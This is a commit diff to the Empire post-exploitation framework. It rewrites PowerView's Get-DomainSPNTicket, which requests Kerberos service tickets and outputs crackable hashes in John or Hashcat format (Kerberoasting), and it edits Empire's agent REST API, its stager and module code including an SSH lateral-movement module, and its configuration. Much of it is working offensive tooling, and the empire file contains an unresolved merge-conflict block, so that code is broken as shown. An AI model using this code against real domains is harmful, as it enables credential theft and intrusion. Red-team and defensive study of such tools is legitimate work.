commit
149294c92d
|
@ -2,9 +2,7 @@ version: 2
|
|||
jobs:
|
||||
build:
|
||||
docker:
|
||||
- image: circleci/python:2.7.13
|
||||
environment:
|
||||
- STAGING_KEY: "RANDOM"
|
||||
- image: circleci/python:2.7
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
|
|
|
@ -454,43 +454,73 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
|
|||
function Get-DomainSPNTicket {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Request the kerberos ticket for a specified service principal name (SPN).
|
||||
|
||||
Author: machosec, Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This function will either take one/more SPN strings, or one/more PowerView.User objects
|
||||
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
|
||||
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
|
||||
portion of the ticket is then extracted and output in either crackable John or Hashcat
|
||||
format (deafult of John).
|
||||
|
||||
.PARAMETER SPN
|
||||
|
||||
Specifies the service principal name to request the ticket for.
|
||||
|
||||
.PARAMETER User
|
||||
|
||||
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
|
||||
|
||||
.PARAMETER OutputFormat
|
||||
|
||||
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
||||
Defaults to 'John'.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
A [Management.Automation.PSCredential] object of alternate credentials
|
||||
for connection to the remote domain using Invoke-UserImpersonation.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
|
||||
|
||||
Request a kerberos service ticket for the specified SPN.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
|
||||
|
||||
Request kerberos service tickets for all SPNs passed on the pipeline.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
|
||||
|
||||
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
|
||||
|
||||
.INPUTS
|
||||
|
||||
String
|
||||
|
||||
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
||||
|
||||
.INPUTS
|
||||
|
||||
PowerView.User
|
||||
|
||||
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
PowerView.SPNTicket
|
||||
|
||||
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
|
||||
#>
|
||||
|
||||
|
@ -561,39 +591,55 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
$TicketByteStream = $Ticket.GetRequest()
|
||||
}
|
||||
if ($TicketByteStream) {
|
||||
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||
$encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16)
|
||||
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
|
||||
$Parts.RemoveAt($Parts.Count - 1)
|
||||
$Hash = $Parts -join 'A48201'
|
||||
$Hash = $Hash.Insert(32, '$')
|
||||
|
||||
$Out = New-Object PSObject
|
||||
|
||||
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||
|
||||
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
|
||||
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
|
||||
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
|
||||
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
|
||||
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
|
||||
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
|
||||
|
||||
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
|
||||
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
|
||||
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
|
||||
$Hash = $null
|
||||
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
|
||||
} else {
|
||||
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
|
||||
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
|
||||
}
|
||||
} else {
|
||||
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
|
||||
$Hash = $null
|
||||
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
|
||||
}
|
||||
|
||||
if($Hash) {
|
||||
if ($OutputFormat -match 'John') {
|
||||
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
|
||||
}
|
||||
else {
|
||||
if ($DistinguishedName -ne 'UNKNOWN') {
|
||||
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
||||
}
|
||||
else {
|
||||
$UserDomain = 'UNKNOWN'
|
||||
}
|
||||
|
||||
# hashcat output format
|
||||
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
}
|
||||
|
||||
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
|
||||
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
|
||||
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
|
||||
|
||||
if ($OutputFormat -match 'John') {
|
||||
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
|
||||
}
|
||||
else {
|
||||
if ($DistinguishedName -ne 'UNKNOWN') {
|
||||
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
||||
}
|
||||
else {
|
||||
$UserDomain = 'UNKNOWN'
|
||||
}
|
||||
# hashcat output format
|
||||
$HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||
#Prints the PS Object
|
||||
#Write-Output $Out
|
||||
|
||||
#Prints just the hashes
|
||||
Write-Output $HashFormat
|
||||
Write-Output $Out
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -604,6 +650,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-DomainUser {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
|
24
empire
24
empire
|
@ -750,7 +750,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
for activeAgent in activeAgentsRaw:
|
||||
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
|
||||
|
||||
agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
|
||||
agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
|
||||
|
||||
return jsonify({'agents' : agents})
|
||||
|
||||
|
@ -864,10 +864,32 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
[agentName, agentSessionID] = agentNameID
|
||||
|
||||
agentResults = execute_db_query(conn, "SELECT results FROM agents WHERE session_id=?", [agentSessionID])
|
||||
taskIDs = execute_db_query(conn, "SELECT id from taskings where agent=?", [agentSessionID])
|
||||
|
||||
if agentResults[0][0] and len(agentResults[0][0]) > 0:
|
||||
try:
|
||||
agentResults = ast.literal_eval(agentResults[0][0])
|
||||
except ValueError:
|
||||
break
|
||||
|
||||
results = []
|
||||
if len(agentResults) > 0:
|
||||
job_outputs = [x.strip() for x in agentResults if not x.startswith('Job')]
|
||||
|
||||
for taskID, result in zip(taskIDs, job_outputs):
|
||||
if not (len(result.split('\n')) == 1 and result.endswith('completed!')):
|
||||
results.append({'taskID': taskID[0], 'results': result})
|
||||
else:
|
||||
results.append({'taskID': taskID[0], 'results': ''})
|
||||
|
||||
agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results})
|
||||
|
||||
<<<<<<< HEAD
|
||||
=======
|
||||
if agentResults and agentResults[0] and agentResults[0] != '':
|
||||
agentTaskResults.append({"AgentName":agentSessionID, "AgentResults":agentResults[0]})
|
||||
|
||||
>>>>>>> dev
|
||||
return jsonify({'results': agentTaskResults})
|
||||
|
||||
|
||||
|
|
|
@ -17,6 +17,7 @@ The Stagers() class in instantiated in ./empire.py by the main menu and includes
|
|||
import fnmatch
|
||||
import imp
|
||||
import helpers
|
||||
import errno
|
||||
import os
|
||||
import errno
|
||||
import macholib.MachO
|
||||
|
@ -452,8 +453,8 @@ class Stagers:
|
|||
raise
|
||||
else:
|
||||
pass
|
||||
|
||||
file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
|
||||
|
||||
file = open(jarpath+'Run.java','w')
|
||||
file.write(javacode)
|
||||
file.close()
|
||||
currdir = os.getcwd()
|
||||
|
|
|
@ -6,6 +6,7 @@ import os
|
|||
import ssl
|
||||
import time
|
||||
import copy
|
||||
import sys
|
||||
from pydispatch import dispatcher
|
||||
from flask import Flask, request, make_response, send_from_directory
|
||||
# Empire imports
|
||||
|
|
|
@ -74,7 +74,8 @@ class Module:
|
|||
instance = self.options['Instance']['Value']
|
||||
no_defaults = self.options['NoDefaults']['Value']
|
||||
check_all = self.options['CheckAll']['Value']
|
||||
|
||||
scriptEnd = ""
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1"
|
||||
script = ""
|
||||
|
|
|
@ -75,7 +75,7 @@ class Module:
|
|||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1"
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
|
|
|
@ -41,7 +41,7 @@ class Module:
|
|||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : False,
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'KeyName' : {
|
||||
|
|
|
@ -29,7 +29,7 @@ class Module:
|
|||
'NeedsAdmin': False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe': True,
|
||||
'OpsecSafe': False,
|
||||
|
||||
# the module language
|
||||
'Language' : 'python',
|
||||
|
|
|
@ -59,7 +59,7 @@ OBFUSCATE_COMMAND = r'Token\All\1'
|
|||
#
|
||||
###################################################
|
||||
|
||||
conn = sqlite3.connect('../data/empire.db')
|
||||
conn = sqlite3.connect('%s/data/empire.db'%INSTALL_PATH)
|
||||
|
||||
c = conn.cursor()
|
||||
|
||||
|
|
Loading…
Reference in New Issue